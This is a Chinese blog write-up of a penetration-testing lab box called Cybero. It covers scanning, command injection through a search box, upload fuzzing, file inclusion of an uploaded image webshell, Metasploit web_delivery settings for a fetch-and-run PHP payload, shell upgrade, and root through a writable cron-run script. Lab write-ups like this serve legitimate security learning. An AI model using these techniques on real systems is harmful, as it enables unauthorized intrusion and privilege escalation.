首页 > 其他分享 >vul -- Cybero靶机渗透

vul -- Cybero靶机渗透

时间:2023-06-02 17:25:55浏览次数:38  
标签:尝试 文件 查看 -- vul Cybero 靶机 上传 进行

(ps:做这个靶机时参考了很多大佬的文章,有些地方属于自己抠破头破也想不到,还有这篇文件就是对自己学习的一个记录,大佬们轻点喷)

信息收集

先获取靶机IP,这里也可以使用arp-scan获取靶机IP

 

获取到靶机IP为172.16.6.207,使用nmap对靶机进行更详细的信息扫描

nmap -A -p- -T 5 172.16.6.207

 

21端口被过滤,开启了22端口,80端口,8085端口,php版本为5.4.16,apache版本为2.4.6,系统版本为3.10-4.11。以上是我们现阶段收集到的信息,尝试使用网页进行访问查看有没有其他信息。

 

直接访问是一副蒙娜丽莎的画,查看源代码看看有没有其他信息

 

有一个log.png,下载该图片使用strings进行查看。

 

 

啥都没有换另一个端口试试

 

像一个查询页面,翻译内容大致为:你能给我打电话吗?我就是谷歌!我什么都知道,还有你的名字:)  只有3次

查看页面源代码看看

 

没有什么东西,尝试进行网页扫描。

 

80端口没有什么内容,尝试对8085端口进行扫描。

 

有个login,访问看看

 

没啥用,不信邪再用dirb进行一次扫描

 

发现一个userapp网页目录,进行访问查看

有一个sql后缀的文件,进行下载,然后分析。

 

social_media 翻译过来就是社交媒体,将二进制转字符串试试(解密网站:CyberChef (gchq.github.io)

 

解出来又是一段加密,尝试hex转字符串试试

 

一个社交媒体网站,因该是作者的网站,在浏览器进行访问

 

这里因该有一个flag,但是页面已经无法访问了。尝试另一个网页

 

网页存在命令执行,输入命令 ping -c google.com;whoami即可

 

跟着提示继续走,是一个文件上传点

 

用burp抓包然后上传文件,对文件后缀进行fuzz测试

设置爆破点位

 

payload设置

 

成功获取flag。

 

并获取了下一个访问点

 

一张图片,翻译英文为:细节决定成败。查看源代码看看

 

就一段英文,下载图片用strings工具进行查看。

 

没啥内容,使用binwalk工具进行分析

 

图片里也没有藏文件,没啥结果尝试用burpsuite进行抓包看看

 

这里有提示因该是将agent内容改成007,尝试一下

 

 

拿到flag,得到下一个访问点

 

URL改变了,尝试进行文件包含

啥都没有,猜测可能还是要将图片中提示请求内容中AGENT改成007后再放包即可

 

成功,确定存在文件包含,想起上一题有一个文件上传,我们包含我们自己上传的木马进行查看

 

没有报错因该是没有问题,使用msf中的multi/script/web_delivery模块生成

 

设置target,SRVHOST,SRVPORT,LHOST,payload

set target 1

set SRVHOST 127.0.0.1

set SRVPORT 6666

set LHOST 127.0.0.1

 

 再网页中文件包含上传的图片码(再前面文件上传处随意上传一个jpg一句话木马即可)

 

(注意:此处user Agent需要一直保持007,否则无法利用)

成功得到结果,使用sessions进行连接

得到shell,查看是否有python

 

使用python返回一个命令行

python -c "import pty;pty.spawn('/bin/bash')"

 

查看是否可以进行提权,用户为apache,我们没有该用户密码无法使用sudo,ps -ef中没有可以利用的进程

 

查看拥有suid权限的文件。

 

无法利用,有一个可以但是需要sudo我们不知道当前用户密码所以无法使用,再/var/ftp文件夹中有一个cybero.txt文件,查看文件内容。

 

获得flag,以及一个密码我们进行sudo -l,看看是不是apahce用户的密码

 

并不是,查看/etc/passwd,其时密码几乎明示了账户

 

使用ssh进行远程连接。

 

登录成功,使用sudo -l查看

 

无法运行sudo,再该路径中发现一个文件,文件好像是一个提权文件

 

应该是用这个文件进行提权,赋值到tmp目录,然后使用gcc进行编译

 

没成功

 

看来因该是不行,但是再该文件夹下有一个endofthegame.py文件,该文件是root所有,拥有最高权限,怀疑因该是一个定时执行的文件,在文件中写入内容。

 

过个一两分钟就会出现一个bash

 

/tmp/bash -p即可进行提权

 

 

 

 

内容总结:

同类型工具不能只依赖一种工具因该多种配合使用,文件上传可以通过fuzz测试来进行文件后缀猜测,编码解码可以使用多种进行解码,binary,hex(hex可以不带0x这种后缀),搜索框不止可以进行sql注入也可以进行命令执行,在文件包含时,包含的木马文件可以通过&符号连接密码往密码中输入内容进行利用(例子:&eiu=system(ls);),有时候图片提示真的只是图片中的内容,msfconsole中的exploit/multi/script/web_delivery模块可以进行web木马生成,设置target为1即可生成php的木马,尝试用蚁剑连接失败了,在提权中没有密码不要一直尝试一个用户,可能其他目录存在某用户的密码,多看看其他文件夹,需要多去了解一些延迟文件提权的内容,脑子要灵光。 

 

工具:nmap,arp-scan,burpsuite,hackbar,msfconsole,drib,dirsearch,御剑。

 

参考文章:

http://blog.bilala.top/?p=355#level3

https://blog.werner.wiki/penetrate-cybero/

标签:尝试,文件,查看,--,vul,Cybero,靶机,上传,进行
From: https://www.cnblogs.com/eiu1110/p/17452407.html

相关文章

  • matplotlib 字体
    查看设置字体 中文字体frommatplotlib.font_managerimportFontManagerimportsubprocessmy_font_path='simhei.ttf'#SimHeiFontManager().addfont(my_font_path)mpl_fonts=set(f.nameforfinFontManager().ttflist)print('allfontlistgetfrommatplo......
  • 传统GIS与数字孪生结合带来的改变
    传统的地理信息系统(GIS)在地理数据的收集、存储和分析方面发挥着重要作用,而数字孪生技术则通过虚拟模型的构建与真实世界进行交互和模拟。将传统GIS与数字孪生技术相结合,不仅增强了地理数据的可视化和分析能力,还为决策者提供了更全面、精确的信息,带来了根本性的改变。GIS通过地图......
  • Docker常用软件安装
    jdk dockerepullopenjdk:11 dockerrun-d-t--namejava-11openjdk:11MySQL 可以从dockerhup中查找自己想要安装的版本 dockerpullmysql:5.7 拉取镜像 创建容器 #在/root目录下创建mysql目录用于存储mysql数据信息 mkdir/root/mysql  cd/root/mysql  do......
  • EasyCVR使用SDK接入,设备全部离线,但是SDK DEMO接入正常是什么原因?
    EasyCVR视频融合平台基于云边端一体化架构,具有强大的数据接入、处理及分发能力,平台支持多协议、多类型的设备接入,包括主流标准协议国标GB28181、RTSP/Onvif、RTMP等,以及厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。有用户反馈,EasyCVR平台中,使用SDK接入的设备显示......
  • MyBatis之一级缓存、二级缓存
    1、一级缓存跟踪BaseExecutor可以看到,在query方法中,实现了缓存逻辑,当缓存不存在的时候,则调用实现类中的doQuery。创建一级缓存的KEY:查看缓存中是否存在,存在则直接返回,不存在则查询数据库:查询数据库:这就是Mybatis中的一级缓存,逻辑十分简单,可以从源码中看到,一级缓存是默认开......
  • windows域组策略初探
    【1】组策略(1.1)本地组策略rsop.msc(1.2)域组策略打开配置方式:《1》服务器管理器=》工具=》组策略管理《2》gpmc.msc如下图,全是组策略。 也可以右击某个策略,保存报告查看策略详情。 (1.3)非域控服务器获取当前域组策略的详细报告获取当前域组......
  • AI视频融合平台EasyCVR接入国标GB28181设备,视频无法播放是什么原因?
    EasyCVR可拓展性强、视频能力灵活、部署轻快,可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等,能对外分发RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流。有用户反馈,将设备通过国标GB28181协议接入EasyCVR......
  • 【解决方法】锐捷路由器配置IP地址,如RSR路由器
    环境:工具:锐捷EVE,VMwareWorkstationPro远程工具:SecureCRT系统版本:Windows10问题描述:描述:在进入锐捷路由器接口配置IP地址时,没有添加ip地址的命令。提示:若按照教程还是无法完成操作,可以进入右侧的企鹅,找我看看。解决方法-视频与文字教程:视频教程:文字教程:1.......
  • ORA-01031: TT15019
     手工编辑sys.odbc.ini尝试修改参数PermSize,重新连接报如下错误Command>connect"dsn=sampledb;uid=hxl;pwd=oracle";cx_Oracle.DatabaseError:ORA-01031:TT15019:OnlytheinstanceadminmayalterthePermSizeattribute解决办法:./ttisql"Driver=/opt/tt18.1.4.34.0......
  • 39基于java的酒店管理系统设计与实现
    本章节给大家带来一个基于java的酒店管理系统设计与实现,可用于酒店订票系统,酒店预订系统,酒店信息管理系统,app订房系统设计与实现;引言随着现在网络的快速发展,网上管理系统也逐渐快速发展起来,网上管理模式很快融入到了许多企业的眼球之中,随之就产生了“酒店信息管理系统”,这样就......